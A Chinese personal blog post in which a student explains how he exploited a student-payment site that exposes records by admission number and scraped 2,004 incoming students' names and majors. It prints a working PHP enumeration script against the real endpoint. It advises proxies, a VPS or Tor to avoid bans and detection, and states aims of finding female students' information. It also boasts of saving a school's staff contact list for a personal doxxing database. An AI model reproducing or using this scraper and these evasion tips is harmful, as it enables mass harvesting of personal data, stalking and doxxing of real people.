我是如何爬取2004条杭电2018届新生数据的

我是如何爬取2004条杭电2018届新生数据的

安全 3228 字 / 7 分钟

起因

今天下午,当我在准备写 Cube 的账户功能时,爸爸过来问我杭电新生缴费的事。看了下日期,八月中旬了,确实是该把学费交了。通知书附带的文件上说是要扫描二维码进入支付宝缴费。我扫码后便进入了杭电的支付宝缴费大厅。然后点击“”,然后就跳转进了一个网页。

之后需要填写录取通知书上的编号,问题就在这里产生了——我错误地把我爸念的编号中的05输成了07,然后点了确定。结果进入了另外一个人的缴费界面,在这个界面我可以看到这个人的姓名以及专业。

发现有点意思

看到这个信息后,我愣了一会儿,然后才意识到我居然知道了别人的专业!天啊!这个数据我居然能拿到?

那么,我是否可以写个爬虫什么的,将所有人的信息都爬下来?

刚开始觉得不太可能,毕竟这可是支付宝啊,全都是专家工程师,不可能会有这种缺漏。结果我将这个网站在手机上用 Safari 打开试试,发现照样可以获取到数据!原来这个网站并不是支付宝的,而是一个第三方的平台。

这样的话,说不定还有点戏,至少它并没有限制只能在支付宝客户端打开。那么将入口的网址发到电脑上呢?

畅通无阻!

打开开发者面板可以看到,页面的 POST 请求完全不需要任何加任何的 Header,只需要将数据 POST 过去就好了,其中 schNo 是杭电的学校 ID,stuNo 当然就是我的通知书编号啦。真的是对写这个系统的人无语了,这么劣质?

并且看 HTML 也是直接就有了,并不是像网易云一样还套了个框架加载什么的。

开始写代码吧!

这下可就无比的容易了,只要服务器不因为我疯狂访问而封我 IP,我就能够拿到所有的数据!(就算封了这一个,我也可以拿 VPS 的美国 IP 再小心地继续)那么问题就是拿什么写了。主流的爬虫肯定都是拿 Python 啦,但是我完全没有学过啊。一直以来都很不喜欢 Python 的语法。

那么用 C# 如何?之前是用 C# 写过一个枚举学而思星球卡兑积分编号的小玩意,虽然最后一个也没猜中…… 但确实 C#写个 Windows 程序当爬虫还是不错的。但是因为已经一年多没碰了,估计也忘得差不多了。所以就选择了…… PHP!

之前也看到过有 PHP 的爬虫框架,但是考虑到我这个功能实在是太简单了,本地服务器搭好,MySQL 数据库建好,直接就上了。

放码过来!

代码我已经开源到我的 GitHub了 wuhan005/hdu-crawler,希望杭电的同(da)学(lao)们能看见。这里就直接聊聊思路了:
<?php
// 杭电2018届学生专业信息爬取

// Database
$con = mysql_connect("localhost","root","root");
mysql_select_db("HDU", $con);

$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, 'http://college.studentpay.cn/alipay/h5/my_bill.htm');
curl_setopt($curl, CURLOPT_HEADER, 1);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_POST, 1);

//格式 2018 [01-40] 11 [0-150]

for($i = 1;$i <= 40;$i++){
for($j = 1;$j <= 150;$j++){
$num = '2018' . sprintf("%02d", $i) . '11' . sprintf("%03d", $j);
$num = (int)$num;
$post_data = array(
"tipsShow" => 1,
"schNo" => 10336,
"stuNo" => $num
);

curl_setopt($curl, CURLOPT_POSTFIELDS, $post_data);
$data = curl_exec($curl);
//curl_close($curl);

//姓名
preg_match("|\"item-title label\">(.*)</div>|isU",$data,$match);
$stuName = $match[1];
$stuName = preg_replace("/(\s|\&nbsp\;| |\xc2\xa0)/",'',$stuName); // 去除空格

//专业
preg_match("|\"item-input\">(.*)</div>|isU",$data,$match);
$stuClass = $match[1];
$stuClass = preg_replace("/(\s|\&nbsp\;| |\xc2\xa0)/",'',$stuClass); // 去除空格
$stuClass = str_replace('无班','',$stuClass); // 去除“无班”

if($stuName != null){
insertData($stuName, $stuClass, $num);
}
sleep(0.5);
}
}

echo('DONE! ENJOY IT!');

function insertData($Name, $Class, $No){
mysql_query("INSERT INTO HDU (stu_Name, stu_Class, stu_No) VALUES ('$Name', '$Class','$No')");
}

首先先是连接上我们的 MySQL 数据库,数据表中有 stu_ID、stu_Name、stu_Class、stu_No 四个字段,分别存储:数据索引、姓名、专业、通知书编号。

然后就可以循环向服务器发送 POST 请求获取数据啦,这里涉及到通知书编号的拼凑。

杭电的通知书编号格式是 2018 [01-40] 11 [0-150] 这种,其中 1-40 是不同的省份(其实最后爬下来才发现只到了 30),0-150 是本省的考生编号,之后根据数据推测了一下,是按照准考证的顺序排的,所以我和南外三班的一个,以及之前新生群里认识的侨中的一个排在一起。

根据之前填报志愿的那本招生指南,杭电大概一个省最多也就录 100 个左右,我这里就填了 150。

然后就是用循环枚举考生号向服务器发送请求。

服务器返回的是 HTML 页面,这里使用正则表达式将姓名和专业的内容提取出来。

可以看到姓名以及专业都位于两个

中间,直接一波正则搞定。

需要注意的是,专业的内容中包含不少空格,并且因为都是新生,班级都是无班。因为强迫症,我都 replace 去掉了。

我知道爬取数据这事,对于服务器的性能可能会有些影响。所以为了不影响其他同学的正常缴费,我设置了 sleep(0.5),即爬取一次后暂停 0.5 秒。(其实只是因为不设置的话,往数据库里添加数据会乱)

因为我并不清楚有招了多少个省,每个省有多少人,所以还要判断一下获取的值是否为 null,是的话就不添加数据。但为什么不直接 break 跳出本次循环换下一个省呢?我是在想万一编号不连续的,我中间出来一个 null,后面的就全部给忽略了,那就亏大了。(事实证明各个省的准考证编号都是连续的)

最后再调用添加进数据库的方法就好啦~

注意事项

我之所以不太想选 PHP 写爬虫的原因是,PHP 说白了做出来的是一个网页,爬虫爬取的过程,即是这个网站加载的过程。那么浏览器或者 PHP 的配置中会不会有什么超过 30 秒没加载完自动断开的奇葩设定?我也不知道啊。但还好没遇到。

这个爬虫程序我也是在自己的 MacBook 上搭建的本地服务器上运行的。千万别自作聪明地跑到什么服务器 VPS 上去弄。难道我那 1 核 512 Mb 内存的垃圾 VPS 能比得过我 16Gb 内存 + 512Gb SSD 的 MacBook?真的,SSD 是真的快,边爬数据边用 phpmyadmin 查数据完全无压力。十分的舒服。如果不放心安全怕被查水表的话,可以开代理啊。如果还想在做的绝一点,Tor 走起!

分析一下吧

要说这数据的话,我拿到后,用 phpmyadmin 导出为 Excel 格式的 csv 文件,然后放到 Excel 里查看。借助着新生群中大家填写的真实姓名与省份,与爸爸一起将每个人的省份也整理了出来,也算是重温了一遍我伟大祖国的众多省份。也找到了广东省另外三位网络工程专业的同学,哈哈。广东计算机专业的 12 位大佬我也看了下,只有 3 个加了新生群的。介于只有姓名与专业的数据,最多再来个录取通知书编号,现在我所知道的能查询的资料不多。但想必今后杭电那边会有不少东西需要凭借着这三样来查的,所以嘛,还是有价值的。我个人只是想用这个数据快速找到新生中漂亮的小姐姐的信息,然后就......

感想

嘛,第一次写爬虫爬了 2000 多条数据,真的是难以想象啊。当时发现这个接口的时候,直接就手舞足蹈,大声尖叫。真的是超级开心!那么话说回来,这是网站设计者的失职。他本应该在缴费界面这里要求输入准考证编号以及所对应的姓名,这样就无法枚举了。甚至还可以加个验证码啊!粗略了解了一下,这个网站是个高校缴费平台,也就是说,如果我遍历学校的 ID,是不是还可以查到别的学校的学生信息??细思极恐啊!

但还是要谨记 Google 的座右铭:Don’t be evil.

以前进入南外的 FTP 服务器中,看了不少行政的资料,甚至还有全集团所有教职人员的联系方式!但我也只是……往私人网盘里存了一份,为了搭建自己的社工库做准备。毕竟,防人之心不可无嘛,万一未来这些数据就派上用场了呢?拿来做坏事肯定是不会的啦~

就如我十分喜欢的一部漫画《小绿和小蓝》中,天才程序员小蓝的开发的人工智能拥有毁灭全人类文明的能力,但是他却能很好的控制住自己,不用技术去做那些不好的事。(感觉拿漫画来举例子说起来好蠢啊,嘛,反正看过的朋友肯定会懂得吧)《小绿和小蓝》8 月 18日也要出动画了!超级开心啊!已经准备好钱买周边了!

试想一下未来

试想一下,在茫茫互联网中,肯定有无数像这样有漏洞的网站,将他们存储的个人信息暴露出去。我国网民本来个人隐私意识就不高,绑定银行卡,微信登录就送XXX 的活动层出不穷,中小型网站技术不过关,给了地下黑产可乘之机。之前为了了解黑产,付费进了一个黑产论坛,各种个人隐私明码标价售卖。200 张真实个人身份证正反照片只要 30 块!各种银行用户联系方式,各大网站被拖库来的数据,都明码标价。

现在这个站虽然表面是整顿中禁止新用户注册,但其实原来的用户照样可以登录进去进行交易。真的可怕!互联网黑产,远比我们想象的要庞大得多!

引用我之前和孙老师开玩笑的聊天记录结束本文:

我们在互联网上的留下的痕迹可以还原我们本人,并且这些痕迹大多还删不了。比如说网上的朋友圈,微信聊天。

面谈的话,搞不好会有针孔摄像头。

进深山里,山里有军事基地,搞不好直接就全套监听设备。

就算出了地球还有天宫一号在看着你!